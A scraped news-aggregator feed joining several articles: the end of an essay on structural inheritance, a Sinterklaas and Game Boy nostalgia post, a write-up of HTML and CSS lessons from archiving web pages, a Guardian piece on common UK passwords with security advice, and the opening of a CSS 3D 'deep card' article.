This is the Curse of Structural Inheritance that I now offer for you to understand. Whenever you look at a structural inheritance hierarchy, you will see the effects of the curse: you will see the subclasses carrying around all of the superclasses data fields at the start of their memory layout, while subclass fields are relegated to the very end of the instance memory. You'll see the subclass often barely even touching the superclass fields, as many of its behaviours have been overridden in such a way as to make the generic superclass fields' data redundant. You will see all this, yet be unable to do anything to help it. It is already too late to help it.

Structural inheritance in action

Okay, maybe structural inheritance has a downside when modeling behaviourally related but otherwise unconnected objects. But what if the data is very clearly linked, surely then structural inheritance is great? This is the question I was asked recently: specifically, I was asked why I had not written two classes, GraphReadWrite and GraphReadOnly , using inheritance but had instead opted to create two entirely separate classes that largely shared the same internal field structure and copy-pasted a good bit of methods on top! Surely this is a case for inheritance?

The read-write class I wrote is used to create a graph step by step, and once the creation is done it is "frozen" to produce a read-only instance: these classes could alternatively be called a GraphBuilder and Graph , but our GraphReadWrite still internally contains a graph. So while the graph inside of GraphReadWrite may be incomplete, it is still a graph with nodes and edges and methods to read them just like the final GraphReadOnly has, not a builder with just add methods and a final build step that does all the work. So surely it is stupid to duplicate code across the two classes? I had to pause to really consider this question, but I did indeed find that I had an answer. Let's approach it by trying to write out the inheritance hierarchy.

Oh, and do stop me if you know the answer already: it seems that trying to model read-write and read-only class variants through inheritance has already been tried in enough places so as to see that it is a fool's errand. I of course had not found this out yet and so had to find my own answer.

So let's start by doing the logical thing and inheriting GraphReadOnly extends GraphReadWrite . This seems clear and simple, we have a superclass that includes all the fields and methods for storing a graph and making changes to it, and our subclass simply makes those fields readonly and overrides all the methods of the superclass to throw exceptions if called. Except that the subclass cannot re-interpret the superclass fields, not even by changing them from read-write to read-only: it can only pretend they are read-only but it cannot actually change their functionality. Furthermore, a subclass is a valid instance of a superclass, so any superclass methods can be called on a subclass instance: this means that the read-write methods of GraphReadWrite can still be called on a GraphReadOnly . The read-only instance we have is not actually all that read-only, we're just trying to pretend it is.

And I'm sure you saw the effects of the Curse of Structural Inheritance as well: our superclass has fields "for storing a graph and making changes to it ". There is extra data in the GraphReadWrite superclass that is unnecessary when we know that the graph is read-only (specifically, this was a couple of hash maps for efficient insertion). The GraphReadOnly is paying the cost of read-write features it never wants to use, while also having no actual guarantees that it truly is read-only. Obviously this is no way to build a reliable system, so we cannot go this route.

So, what we have to do is the opposite: GraphReadWrite extends GraphReadOnly . Now everything works wonderfully, the GraphReadOnly superclass only includes those fields that are needed to store a graph and none of the fields needed to mutate it efficiently, while the subclass gets to introduce those extra fields as needed (never mind that it still only has to add them at the end of the memory layout despite them probably being the first thing accessed when a write API is called). GraphReadOnly also gets to define its fields as read-only while GraphReadWrite then mutates them inside its own methods. ... Wait, what?! Oh right! Now the subclass has to break the read-only invariants of the superclass to do its work: depending on the language this might appear as const-casting or // @ts-expect-error comments. Any methods defined on the superclass that rely on the read-only nature of these fields for correctness are liable to bug out if any re-entrant code paths appear with subclass instances. The language fights the implementation, and possibly the best way to resolve the Gordian Knot is to simply give up on defining the fields as read-only in the first place. At that point you are left with a GraphReadOnly class that is read-only in name, but with no actual guarantees given. The entire point of the class has arguably been lost in our attempt at using inheritance to model read-only and read-write variants of the same data.

A third option would be to define a common base class between GraphReadOnly and GraphReadWrite and have both classes inherit from that: depending on the language this could remove some issues but I at cannot directly recall a feature of inheriting a superclass as read-only. In effect, the common base class would still need to be defined as read-write and GraphReadOnly would again have to live with being read-only in name only.

At the end of the day, structural inheritance is not a tool that I like to use all that much. When in doubt, I prefer interface inheritance and when I need structural sharing, I tend to opt for either structural composition (including a struct in your own definition; this doesn't exist in JavaScript), indirect composition (including a pointer to a struct; this is equivalent to storing an object inside an object in JavaScript), or a manual mix of the two.

Maybe consider doing the same the next time you see the Curse of Structural Inheritance lingering in your code base?

  1. While JavaScript's prototypal inheritance is more akin to interface inheritance, the class keyword and field definitions especially but also traditional constructor functions that assign properties to this are a form of structural inheritance.

  2. The grand old man of structural inheritance and object-oriented programming as we mostly know and love it today! My expertise isn't here, so I should shut up but I'll just point out that non-abstract C++ classes are explicitly a form of structural inheritance.

The Wild West of Post-POSIX IO Interfaces

Lobsters
youtu.be
2025-12-07 08:26:53
Deep dive into pervasiveness of ring buffer pattern across modern hw and VMs Comments...

Sinterklaas Likes Playing On The Game Boy

Lobsters
brainbaking.com
2025-12-07 07:33:28
Comments...
Original Article

Today marks the yearly departure of Sinterklaas who, together with his faithful friend Zwarte Piet , makes his way back to sunny Spain—by horse and steamboat, of course. The festivities on the sixth of December are not to celebrate his departure but to celebrate the name day of Saint Nicholas, patron saint of the children, on which Sinterklaas is based.

For those of you outside of Europe thinking “Hey, Sinterklaas sounds a lot like our Santa Claus”, well guess what: Sinterklaas was here first and your Santa is just a poor imitation.

In The Netherlands and Belgium, Sinterklaas is a very popular tradition, where during the run up to today, even from half of November, children can put an empty shoe somewhere near the mantelpiece in the hope of the Sint (“the saint”) and Piet visiting the house (via the roof and said mantelpiece) to drop some candy in the children’s shoes. This is usually a combination of marzipan, onze-lieve-vrouw guimauves (harder marshmellows shaped like Mary), nic-nac letterkoekjes , speculaas ( spiced cookies ), and of course various chocolate figures.

The popularity of Sinterklaas inevitably also means TV shows, live shows, specialized pop-up shops, school parties, and more. In the early nineties, the then Belgische Radio- en Televisieomroep (BRT) broadcaster hosted two seasons of the Dag Sinterklaas show featuring Jan Decleir as the Sint, Frans Van der Aa as Zwarte Piet, and Bart Peeters as the innocent visitor asking nosy questions on how the duo operates.

Like many Flemish eighties/nineties kids, Dag Sinterklaas is permanently burned into my brain as part of my youth. The episode called Speelgoed (toys) from the second season is especially memorable for me, as we catch the Goedheiligen Man (The Good Saint) playing… on a Game Boy!

Jan Decleir as Sinterklaas, trying to figure out a shoot-em-up on the Game Boy. Copyright BRT, 1993.

In the episode, Sinterklaas is annoyed by the beeps and boops coming from Zwarte Piet’s Game Boy. Piet is usually portrayed as a (too) playful character that likes to fool around instead of doing the serious stuff such as reading the Spanish newspapers and updating the Dakenkaart (rooftop chart) needed to navigate the rooftops when dropping off presents. While Bart visits, Sinterklaas showcases that “simple toys” are much more enjoyable. He encourages them to play with dusty old dolls and a toll. Eventually, Piet and Bart make it outside whilst playing horse, only to catch the Sint grabbing Piet’s Game Boy to figure out for himself what these so-called compinuter spelletjes (computer games) are about. Hilarious.

Of course, that was the perfect advert for Nintendo’s handheld, especially considering the upcoming Christmas holiday period. In 1993, lots of amazing Game Boy games were released, including Link’s Awakening , Kirby’s Pinball Land , Duck Tales 2 , Turtles III: Radical Rescue , and Tetris 2 . It would be next to impossible to go after the Flemish sales data of the machine to try and prove a correlation, but if the Sint likes playing on the Game Boy, and the Sint is thé person that gets to decide what kids can play with, then why bother getting your kid a Game Gear, right? Sorry, Sega.

Perhaps I even got a Game Boy game thrown down the chimney, I can’t remember. All I can remember is the chocolate, marzipan, and VHS tapes of Disney movies.

I have searched high and low for a Dutch Club Nintendo Magazine that contains a message from the Sint and came up empty, but Volume 2 Issue 6 in 1990 contained a lovely letter from Santa Mario:

A partial of a Christmas letter from Mario in the Dutch Club Nintendo Magazine, 1990. Copyright Nintendo.

Replace the goofy Christmas hat with the mijter (mitra) of Sinterklaas, add a staff, and we’re there.

Dag Sinterklaas is undeniably a local cult hit. The DVDs are nowhere to be found, and the few copies surfacing the local second hand )e)markets go for outrageous prices. Cherishing our copy, this year is the first year we watched the episodes together with our daughter. She doesn’t have the patience to sit through some of the longer ones but it’s a giant nostalgic injection seeing Jan and Frans back in action.

BRT—now VRT; Flemish instead of Belgian—aired the series every single year until 2018. In 2019, because of the ageing image quality (and probably the emerging woke culture), twenty new episodes were produced. However, in my view, Wim Opbrouck never managed to truly capture the Sint’s spirit like Jan did, and Jonas Van Thielen as Zwarte Piet is just not as funny as Frans.

So we’ll be stuck in Dag Sinterklaas 1992-1993 mode for the next eight or so year, until our kids realize the big ruse. And even then. I will be keeping up the tradition.

retro gameboy sinterklaas

What I learnt about making websites by reading two thousand web pages

Lobsters
alexwlchan.net
2025-12-07 07:28:03
Comments...
Original Article

Over the past year, I built a web archive of over two thousand web pages – my own copy of everything I’ve bookmarked in the last fifteen years. I saved each one by hand, reading and editing the HTML to build a self-contained, standalone copy of each web page.

These web pages were made by other people, many using tools and techniques I didn’t recognise. What started as an exercise in preservation became an unexpected lesson in coding: I was getting a crash course in how the web is made. Reading somebody else’s code is a great way to learn, and I was reading a lot of somebody else’s code.

In this post, I’ll show you some of what I learnt about making websites: how to write thoughtful HTML, new-to-me features of CSS, and some quirks and relics of the web.

This article is the third in a four part bookmarking mini-series:

  1. Creating a static site for all my bookmarks – why I bookmark, why I use a static site, and how it works.
  2. Building a personal archive of the web, the slow way – how I built a web archive by hand, the tradeoffs between manual and automated archiving, and what I learnt about preserving the web.
  3. Learning how to make websites by reading two thousand web pages (this article)
  4. My favourite websites from my bookmark collection – websites that change randomly, that mirror the real world, or even follow the moon and the sun, plus my all-time favourite website design.

I know I’ve read a list of HTML tags in reference documents and blog posts, but there are some tags I’d forgotten, misunderstood, or never seen used in the wild. Reading thousands of real-world pages gave me a better sense of how these tags are actually used, and when they’re useful.

The <aside> element

MDN describes <aside> as “a portion of a document whose content is only indirectly related to the document’s main content”. That’s vague enough that I was never quite sure when to use it.

In the web pages I read, I saw <aside> used in the middle of larger articles, for things like ads, newsletter sign ups, pull quotes, or links to related articles. I don’t have any of those elements on my site, but now I have a stronger mental model of where to use <aside> . I find concrete examples more useful than abstract definitions.

I also saw a couple of sites using the <ins> (inserted text) element for ads, but I think <aside> is a better semantic fit.

The <mark> element

The <mark> element highlights text, typically with a yellow background . It’s useful for drawing visual attention to a phrase, and I suspect it’s helpful for screen readers and parsing tools as well.

I saw it used in Medium to show reader highlights, and I’ve started using it in code samples when I want to call out specific lines.

The <section> element

The <section> tag is a useful way to group content on a page – more meaningful than a generic <div> . I’d forgotten about it, although I use similar tags like <article> and <main> . Seeing it used across different sites reminded me it exists, and I’ve since added it to a few projects.

The <hgroup> (heading group) element

The <hgroup> tag is for grouping a heading with related metadata, like a title and a publication date:

<hgroup>
  <h1>All about web bookmarking</h1>
  <p>Posted 16 March 2025</p>
</hgroup>

This is another tag I’d forgotten, which I’ve started using for the headings on this site.

The <video> element

The <video> tag is used to embed videos in a web page. It’s a tag I’ve known about for a long time – I still remember reading Kroc Camen’s article Video is for Everybody in 2010, back when Flash was being replaced as dominant way to watch video on the web.

While building my web archive, I replaced a lot of custom video players with <video> elements and local copies of the videos. This was my first time using the tag in anger, not just in examples.

One mistake I kept making was forgetting to close the tag, or trying to make it self-closing:

<!-- this is wrong -->
<video controls src="videos/Big_Buck_Bunny.mp4"/>

It looks like <img> , which is self-closing, but <video> can have child elements, so you have to explicitly close it with </video> .

The <progress> indicator element

The <progress> element shows a progress indicator. I saw it on a number of sites that publish longer articles – they used a progress bar to show you how far you’d read.

<label for="file">Progress:</label>
<progress id="file" max="100" value="70">70%</progress>

70%

I don’t have a use for it right now, but I like the idea of getting OS-native progress bars in HTML – no custom JavaScript or CSS required.

The <base> element

The <base> element specifies the base URL to use for any relative URLs in a document. For example, in this document:

<base href="https://example.com/">

<img src="/pictures/cat.jpg">

the image will be loaded from https://example.com/pictures/cat.jpg .

It’s still not clear to me when you should use <base> , or what the benefits are (aside from making your URLs a bit shorter), but it’s something I’ll keep an eye out for in future projects.


Clever corners of CSS

The CSS @import rule

CSS has @import rules , which allow one stylesheet to load another:

@import "fonts.css";

I’ve used @import in Sass, but I only just realised it’s now a feature of vanilla CSS – and one that’s widely used. The CSS for this website is small enough that I bundle it into a single file for serving over HTTP (a mere 13KB), but I’ve started using @import for static websites I load from my local filesystem, and I can imagine it being useful for larger projects.

One feature I’d find useful is conditional imports based on selectors. You can already do conditional imports based on a media query (“only load these styles on a narrow screen”) and something similar for selectors would be useful too (for example, “only load these styles if a particular class is visible”). I have some longer rules that aren’t needed on every page, like styles for syntax highlighting, and it would be nice to load them only when required.

[attr$=value] is a CSS selector for suffix values

While reading Home Sweet Homepage , I found a CSS selector I didn’t understand:

img[src$="page01/image2.png"] {
  left: 713px;
  top:  902px;
}

This $= syntax is a bit of CSS that selects elements whose src attribute ends with page01/image2.png . It’s one of a several attribute selectors that I hadn’t seen before – you can also match exact values, prefixes, or words in space-separated lists. You can also control whether you want case-sensitive or -insensitive matching.

You can create inner box shadows with inset

Here’s a link style from an old copy of the Entertainment Weekly website:

a { box-shadow: inset 0 -6px 0 #b0e3fb; }

A link on EW.com

The inset keyword was new to me: it draws the shadow inside the box, rather than outside. In this case, they’re setting offset-x=0 , offset-y=-6px and blur-radius=0 to create a solid stripe that appears behind the link text – like a highlighter running underneath it.

If you want something that looks more shadow-like, here are two boxes that show the inner/outer shadow with a blur radius:

I don’t have an immediate use for this, but I like the effect, and the subtle sense of depth it creates. The contents of the box with inner-shadow looks like it’s below the page, while the box with outer-shadow floats above it.

For images that get bigger, cursor: zoom-in can show a magnifying glass

On gallery websites, I often saw this CSS rule used for images that link to a larger version:

cursor: zoom-in;

Instead of using cursor: pointer; (the typical hand icon for links), this shows a magnifying glass icon – a subtle cue that clicking will zoom or expand the image.

Here’s a quick comparison:

I knew about the cursor property , but I’d never thought to use it that way. It’s a nice touch, and I want to use it the next time I build a gallery.


Writing thoughtful HTML

The order of elements

My web pages have a simple one column design: a header at the top, content in the middle, a footer at the bottom. I mirror that order in my HTML, because it feels a natural structure.

I’d never thought about how to order the HTML elements in more complex layouts, when there isn’t such a clear direction. For example, many websites have a sidebar that sits alongside the main content. Which comes first in the HTML?

I don’t have a firm answers, but reading how other people structure their HTML got me thinking. I noticed several pages that put the sidebar at the very end of the HTML, then used CSS to position it visually alongside the content. That way, the main content appears earlier in the HTML file, which means it can load and become readable sooner.

It’s something I want to consider next time I’m building a more complex page.

I saw a lot of websites (mostly WordPress) that used HTML comments to mark the end of containers with a lot of content. For example:

<div id="primary">
  <main id="main"></main><!-- #main -->
</div><!-- #primary -->

These comments made the HTML much easier to read – I could see exactly where each component started and ended.

I like this idea, and I’m tempted to use it in my more complex projects. I can imagine this being especially helpful in template files, where HTML is mixed with template markup in a way that might confuse code folding , or make the structure harder to follow.

The data-href attribute in <style> tags

Here’s a similar idea: I saw a number of sites set a data-href attribute on their <style> tags, as a way to indicate the source of the CSS. Something like:

<style data-href="https://example.com/style.css">

I imagine this could be useful for developers working on that page, to help them find where they need to make changes to that <style> tag.

Translated pages with <link rel="alternate"> and hreflang

I saw a few web pages with translated versions, and they used <link> tags with rel="alternate" and an hreflang attribute to point to those translations. Here’s an example from a Panic article , which is available in both US English and Japanese:

<link rel="alternate" hreflang="en-us" href="https://blog.panic.com/firewatch-demo-day-at-gdc/">
<link rel="alternate" hreflang="ja"    href="https://blog.panic.com/ja/firewatch-demo-day-at-gdc-j/">

This seems to be for the benefit of search engines and other automated tools, not web browsers. If your web browser is configured to prefer Japanese, you’d see a link to the Japanese version in search results – but if you open the English URL directly, you won’t be redirected.

This makes sense to me – translations can differ in content, and some information might only be available in one language. It would be annoying if you couldn’t choose which version you wanted.

Panic’s article includes a third <link rel="alternate"> tag:

<link rel="alternate" hreflang="x-default" href="https://blog.panic.com/firewatch-demo-day-at-gdc/">

This x-default value is a fallback, used when there’s no better match for the user’s language. For example, if you used a French search engine, you’d be directed to this URL because there isn’t a French translation.

Almost every website I’ve worked has been English-only, so internationalisation is a part of the web I know very little about.

Fetching resources faster with <link rel="preload">

I saw a lot of websites that with <link rel="preload"> tags in their <head> . This tells the browser about resources that will be needed soon, so it should start fetching them immediately.

Here’s an example from this site:

<link rel="preload" href="https://alexwlchan.net/theme/white-waves-transparent.png" as="image" type="image/png"/>

That image is used as a background texture in my CSS file. Normally, the browser would have to download and parse the CSS before it even knows about the image – which means a delay before it starts loading it. By preloading the image, the browser can begin downloading the image in parallel with the CSS file, so it’s already in progress when the browser reads the CSS.

The difference is probably imperceptible on a fast connection, but it is a performance improvement – and as long as you scope the preloads correctly, there’s little downside. (Scoping means ensuring you don’t preload resources that aren’t used).

I saw some sites use DNS prefetching , which is a similar idea. The rel="dns-prefetch" attribute tells the browser about domains it’ll fetch resources from soon, so it should begin DNS resolution early. The most common example was websites using Google Fonts:

<link rel="dns-prefetch" href="https://fonts.googleapis.com/" />

I only added preload tags to my site a few weeks ago . I’d seen them in other web pages, but I didn’t appreciate the value until I wrote one of my own.


Quirks and relics

There are still lots of <!--[if IE]> comments

Old versions of Internet Explorer supported conditional comments , which allowed developers to add IE-specific behaviour to their pages. Internet Explorer would render the contents of the comment as HTML, while other browsers ignored it. This was a common workaround for deficiencies in IE, when pages needed specific markup or styles to render correctly.

Here’s an example, where the developer adds an IE-specific style to fix a layout issue:

<!--[if IE]>
  <style>
    /* old IE unsupported flexbox fixes */
    .greedy-nav .site-title {
      padding-right: 3em;
    }
  </style>
<![endif]-->

Developers could also target specific versions of IE:

<!--[if lte IE 7]><link rel="stylesheet" href="/css/ie.css"><![endif]-->

Some websites even used conditional comments to display warnings and encourage users to upgrade, like this message which that’s still present on the RedMonk website today:

<!--[if IE]>
  <div class="alert alert-warning">
    You are using an <strong>outdated</strong> browser. Please <a href="http://browsehappy.com/">upgrade your browser</a> to improve your experience.
  </div>
<![endif]-->

This syntax was already disappearing by the time I started building websites – support for conditional comments was removed in Internet Explorer 10, released in 2012, the same year that Google Chrome became the most-used browser worldwide. I never wrote one of these comments, but I saw lots of them in archived web pages.

These comments are a relic of an earlier web. Most websites have removed them, but they live on in web archives, and in the memories of web developers who remember the bad old days of IE6.

Templates in <script> tags with a non-standard type attribute

I came across a few pages using <script> tags with a type attribute that I didn’t recognise. Here’s a simple example:

<script type="text/x-handlebars-template" id="loading_animation">
  <div class="loading_animation pulsing <%= extra_class %> "><div></div></div>
</script>

Browsers ignore <script> tags with an unrecognised type – they don’t run them, and they don’t render their contents. Developers have used this as a way to include HTML templates in their pages, which JavaScript could extract and use later.

This trick was so widespread that HTML introduced a dedicated <template> tag element for the same purpose. It’s been in all the major browsers for years, but there are still instances of this old technique floating around the web.

Browsers won’t load external file:// resources from file:// pages

Because my static archives are saved as plain HTML files on disk, I often open them directly using the file:// protocol, rather than serving them over HTTP. This mostly works fine – but I ran into a few cases where pages behave differently depending on how they’re loaded.

One example is the SVG <use> element . Some sites I saved use SVG sprite sheets for social media icons, with markup like:

<use href="sprite.svg#logo-icon"></use>

This works over http:// , but when loaded via file:// , it silently fails – the icons don’t show up.

This turns out to be a security restriction. When a file:// page tries to load another file:// resource, modern browsers treat it as a cross-origin request and block it. This is to prevent a malicious downloaded HTML file from snooping around your local disk .

It took me a while to figure this out. At first, all I got was a missing icon. I could see an error in my browser console, but it was a bit vague – it just said I couldn’t load the file for “security reasons”.

Then I dropped this snippet into my dev tools console:

fetch("sprite.svg")
  .then(response => console.log("Fetch succeeded:", response))
  .catch(error => console.error("Fetch failed:", error));

It gave me a different error message, one that explicitly mentioned cross-origin requesting sharing: “CORS request not http” . This gave me something I could look up, and led me to the answer.

This is easy to work around – if I spin up a local web server (like Python’s http.server ), I can open the page over HTTP and everything loads correctly.

What does GPT stand for in attributes?

Thanks to the meteoric rise of ChatGPT, I’ve come to associate the acronym “GPT” with large language models (LLMs) – it stands for Generative Pre-trained Transformer .

That means I was quite surprised to see “GPT” crop up on web pages that predate the widespread use of generative AI. It showed up in HTML attributes like this:

<div id="div-gpt-ad-1481124643331-2">

I discovered that “GPT” also stands for Google Publisher Tag , part of Google’s ad infrastructure. I’m not sure exactly what these tags were doing – and since I stripped all the ads out of my web archive, they’re not doing anything now – but it was clearly ad-related.

What’s the instapaper_ignore class?

I found some pages that use the instapaper_ignore CSS class to hide certain content. Here’s an example from an Atlantic article I saved in 2017:

<aside class="pullquote instapaper_ignore">
  Somewhere at Google there is a database containing 25 million books and nobody is allowed to read them.
</aside>

Instapaper is a “read later” service – you save an article that looks interesting, and later you can read it in the Instapaper app. Part of the app is a text parser that tries to extract the article’s text, stripping away junk or clutter.

The instapaper_ignore class is a way for publishers to control what that parser includes. From a blog post in 2010 :

Additionally, the Instapaper text parser will support some standard CSS class names to instruct it:

  • instapaper_body : This element is the body container.
  • instapaper_ignore : These elements, when inside the body container, should be removed from the text parser’s output.

In this example, the element is a pull quote – a repeated line from the article, styled to stand out. On the full web page, it works. But in the unstyled Instapaper view, it would just look like a duplicate sentence. It makes sense that the Atlantic wouldn’t want it to appear in that context.

Only a handful of pages I’ve saved ever used instapaper_ignore , and even fewer are still using it today. I don’t even know if Instapaper’s parser still looks for it.

This stood out to me because I was an avid Instapaper user for a long time. I deleted my account years ago, and I don’t hear much about “read later” apps these days – but then I stumble across a quiet little relic like this, buried in the HTML.

I found a bug in the WebKit developer tools

Safari is my regular browser, and I was using it to preview pages as I saved them to my archive. While I was archiving one of Jeffrey Zeldman’s posts , I was struggling to understand how some of his CSS worked. I could see the rule in my developer tools, but I couldn’t figure out why it was behaving the way it was.

Eventually, I discovered the problem: a bug in WebKit’s developer tools was introducing whitespace that changed the meaning of the CSS.

For example, suppose the server sends this minifed CSS rule:

body>*:not(.black){color:green;}

WebKit’s dev tools prettify it like this:

body > * :not(.black) {
    color: green;
}

But these aren’t equivalent!

  • The original rule matches direct children of <body> that don’t have the black class.
  • The prettified version matches any descendant of <body> that doesn’t have the black class and that isn’t a direct child.

The CSS renders correctly on the page, but the bug means the Web Inspector can show something subtly wrong. It’s a formatting bug that sent me on a proper wild goose chase.

This bug remains unfixed – but interestingly, a year later, that particular CSS rule has disappeared from Zeldman’s site. I wonder if it caused any other problems?


Closing thoughts

The web is big and messy and bloated, and there are lots of reasons to be pessimistic about the state of modern web development – but there are also lots of people doing cool and interesting stuff with it. As I was reading this mass of HTML and CSS, I had so many moments where I thought “ooh, that’s clever!” or “neat!” or “I wonder how that works?”. I hope that as you’ve read this post, you’ve learnt something too.

I’ve always believed in the spirit of “view source”, the idea that you can look at the source code of any web page and see how it works. Although that’s become harder as more of the web is created by frameworks and machines, this exercise shows that it’s clinging on. We can still learn from reading other people’s source code.

When I set out to redo my bookmarks, I was only trying to get my personal data under control. Learning more about front-end web development has been a nice bonus. My knowledge is still a tiny tip of an iceberg, but now it’s a little bit bigger.

I know this post has been particularly dry and technical, so next week I’ll end this series on a lighter note. I’ll show you some of my favourite websites from my bookmarks – the fun, the whimsical, the joyous – the people who use the web as a creative canvas, and who inspire me to make my web presence better.

Don’t use ‘admin’: UK’s top 20 most-used passwords revealed as scams soar

Guardian
www.theguardian.com
2025-12-07 07:00:15
Easy-to-guess words and figures still dominate, alarming cysbersecurity experts and delighting hackers It is a hacker’s dream. Even in the face of repeated warnings to protect online accounts, a new study reveals that “admin” is the most commonly used password in the UK. The second most popular, “12...
Original Article

It is a hacker’s dream. Even in the face of repeated warnings to protect online accounts, a new study reveals that “admin” is the most commonly used password in the UK.

The second most popular, “123456”, is also unlikely to keep hackers at bay.

The annual review of the top 200 most common passwords by the tech company NordPass makes depressing reading for security experts, the police and anti-fraud bodies.

Although cybersecurity experts keep repeating that simple passwords are extremely easy to guess, these warnings are going unheeded.

In the UK, words, number combinations, and common keyboard patterns dominate the top 20. Different variations of the word “password” take up as many as five of these spots, with simple numeric combinations, including “12345678” and then “123456789” using another five. So far, so easy to hack.

Use a password management tool to help with more complicated secure passwords.
Use a password management tool to help with more complicated secure passwords. Photograph: Koshiro K/Alamy

It’s not just a problem here – Australians, Americans and Germans also use “admin” more than any other password when accessing websites, apps and logging in to their computers. Around the world, “123456” emerges as the most popular.

“Despite all efforts in cybersecurity education and digital awareness over the years, data reveals only minor improvements in password hygiene,” says Karolis Arbaciauskas of NordPass, a password manager that aims to keep details secure.

“About 80% of data breaches are caused by compromised, weak, and reused passwords, and criminals will intensify their attacks as much as they can until they reach an obstacle they can’t overcome.”

What the scam looks like

At a time when many of us grapple with a growing number of passwords, it seems people are picking the easy option. Criminals are well aware of this and will use the obvious options during a systematic attack on someone’s accounts.

“The problem with easy-to-remember passwords is that most of them can be cracked or guessed in seconds using a technique called a ‘dictionary attack’ – a systematic method of guessing a password by trying many common words and their simple variations,” Arbaciauskas says.

Woman using a laptop
Hackers use a ‘dictionary attack’, a method of trying common words and numbers and their variations. Photograph: Dominic Lipinski/PA

“Another problem is that people tend to reuse them quite often. Users cite having too many accounts to create, and remember, unique passwords for all of them. That is terrible. People who use weak passwords, or reuse them, risk their digital lives and their identities.”

Recent research from Virgin Media O2 suggests four out of every five people use the same, or nearly identical, passwords on online accounts, giving an almost open door for hackers to compromise log-ins.

You might be alerted to an attack by a message advising that you have been trying to change your email address, or other details, connected to an account.

What to do

Make your passwords long and strong. This could be by combining three random words (eg, applepenbiro) or mixing numbers, letters and special characters.

Don’t reuse the same password. The rule of thumb is that each account should have a unique password because if one account gets broken into, hackers can use the same credentials for other accounts.

Change any passwords that are variations on the same word now, starting with the important sets of accounts: banks, email, work and mobile.

Use password managers – these are often integrated into web browsers. Apple has iCloud Keychain, while Android phones have Google Password Manager, both of which can generate and save complicated passwords.

Two-factor authentication (2FA) is something you can set up for your email, and other important online accounts, to add an extra layer of security. It involves providing something that only you can access – for example, a code sent to you by text message. You should turn 2FA on for every service that offers it.

The Deep Card Conundrum

Lobsters
frontendmasters.com
2025-12-07 05:35:11
Comments...
Original Article

In the world of web design, we often talk about “cards”. Those neat little rectangles that group information together are the bread and butter of modern UI. But usually, these cards are as flat as the screens they live on. Maybe they have a subtle drop shadow to hint at elevation, but that’s where the illusion ends.

But what if a card wasn’t just a surface? What if it was a window ?

Enter the Deep Card .

Imagine a card that isn’t just a 2D plane, but a container with actual volume. A card that holds a miniature 3D world inside it. When you rotate this card, you don’t just see it skew, you see the elements inside it shift in perspective, revealing their depth. It’s like holding a glass box filled with floating objects.

The effect is mesmerizing. It transforms a static element into something tactile and alive. It invites interaction. Whether it’s for a digital trading card game, a premium product showcase, or just a portfolio piece that screams “look at me,” the Deep Card adds a layer of polish and “wow” factor that flat design simply can’t match.

But as I quickly discovered, building this illusion, especially one that feels right and performs smoothly, is a bit more of a puzzle than it first appears.

The CSS Trap

There are plenty of JavaScript libraries out there that can handle this, but I’m a bit of a CSS purist (read: stubborn). I’ve spent years pushing stylesheets to their absolute limits, and I was convinced that a clean, performant, pure CSS solution was hiding in plain sight.

On paper, the logic seems flawless. If you’ve dabbled in 3D CSS before, you know the drill:

  1. Set the Stage : Take a container element and give it some perspective .
  2. Build the World : Position the child elements in 3D space ( translateZ , rotateX , etc.).
  3. Preserve the Illusion : Apply transform-style: preserve-3d so all those children share the same 3D space.

Simple, right?

But here’s the catch. For a true “card” effect, you need the content to stay inside the card boundaries. If a 3D star floats “up” towards the viewer, you don’t want it to break the frame, you want it to be clipped by the card’s edges, reinforcing the idea that it’s inside a container.

So, naturally, you add overflow: clip (or hidden ) to the card. And that is the exact moment everything falls apart.

Comparison of overflow properties in CSS: left shows 'overflow: visible;' with layered rectangles, right shows 'overflow: clip;' with clipped edges.

The Spec Says No

Suddenly, your beautiful 3D scene flattens out. The depth vanishes. The magic is gone.

Why? Because according to the CSS Transforms Module Level 2 specification , applying any “grouping property” like overflow (with any value other than visible ), opacity less than 1, or filter , forces the element to flatten.

The sad reality: A value of preserve-3d for transform-style is ignored if the element has any grouping property values.

In other words: you can have a 3D container, or you can clip its content. You cannot do both on the same element.

For a long time, this felt like a dead end. How do you keep the 3D depth while keeping the elements contained?!

Faking It

If the spec says we can’t have both perspective and clipping, maybe we can cheat. If we can’t use real 3D depth, perhaps we can fake it.

Faking perspective is a time-honored tradition in 2D graphics. You can simulate depth by manipulating the size and position of elements based on their “distance” from the viewer. In CSS terms, this means using scale() to make things smaller as they get “further away” and translate() to move them relative to the card’s angle.

.card {
  /* --mouse-x and --mouse-y values ranage from -1 to 1 */
  --tilt-x: calc(var(--mouse-y, 0.1) * -120deg); 
  --tilt-y: calc(var(--mouse-x, 0.1) * 120deg); 
  transform: rotateX(var(--tilt-x)) rotateY(var(--tilt-y));
}

.card-layer {
  /* Fake perspective with scale and translate */
  scale: calc(1 - var(--i) * 0.02);
  translate:
    calc(var(--mouse-x) * (var(--i)) * -20%)
    calc(var(--mouse-y) * (var(--i)) * -20%);
}Code language: CSS (css)

This technique can work wonders. There are some brilliant examples out there, like this one by Jhey , that pull off the effect beautifully without using a single line of perspective or preserve-3d .

It’s a solid approach. It’s performant, it works across browsers, and for subtle effects, it’s often indistinguishable from the real thing.

But it has a ceiling.

The illusion holds up well within a limited range of motion. But the moment you push it too far, say, by rotating the card to a sharp angle or trying to flip it 180 degrees, the math starts to show its cracks. The perspective flattens out, and the movement stops feeling natural.

As you can see, when the card turns, the inner elements lose their spatial relationship. The magic evaporates. So while this is a great tool for the toolbox, it wasn’t the complete solution I was looking for. I wanted the real deal. Full 3D, full rotation, full clipping.

Road to a Nowhere

I spent years (on and off, I’m not that obsessed) trying to crack this. I was convinced there had to be a way to have my cake and eat it too.

Theoretically, there is a way. If you can’t clip the container, you have to clip the children.

Imagine using clip-path on every single layer inside the card. You would need to calculate, in real-time, exactly where the edges of the card are relative to the viewer, and then apply a dynamic clipping mask to each child element so that it cuts off exactly at those boundaries.

This involves a lot of math, even for me. We’re talking about projecting 3D coordinates onto a 2D plane, calculating intersections, and handling the trigonometry of the user’s perspective.

A textured blackboard covered with various mathematical equations, diagrams, and symbols, creating a complex academic backdrop.

I was almost ready to give up and accept that maybe, just maybe, this was one of those things CSS just wasn’t meant to do. And then, I got a message from Cubiq .

The Breakthrough

This wasn’t the first time someone had asked me about this topic. As someone who’s known for pushing CSS 3D to its limits, I get this question a lot. People assume I have the answer. But, well… I didn’t.

So when Cubiq messaged me, showing me a GIF of a fully rotating card with deep 3D elements and asking how to achieve it, I went into auto-pilot. I gave him the standard explanation on why the spec forbids it, why overflow flattens the context, and how he could try to fake it with scale and translate .

I thought that was the end of it, but then, he surprised me.

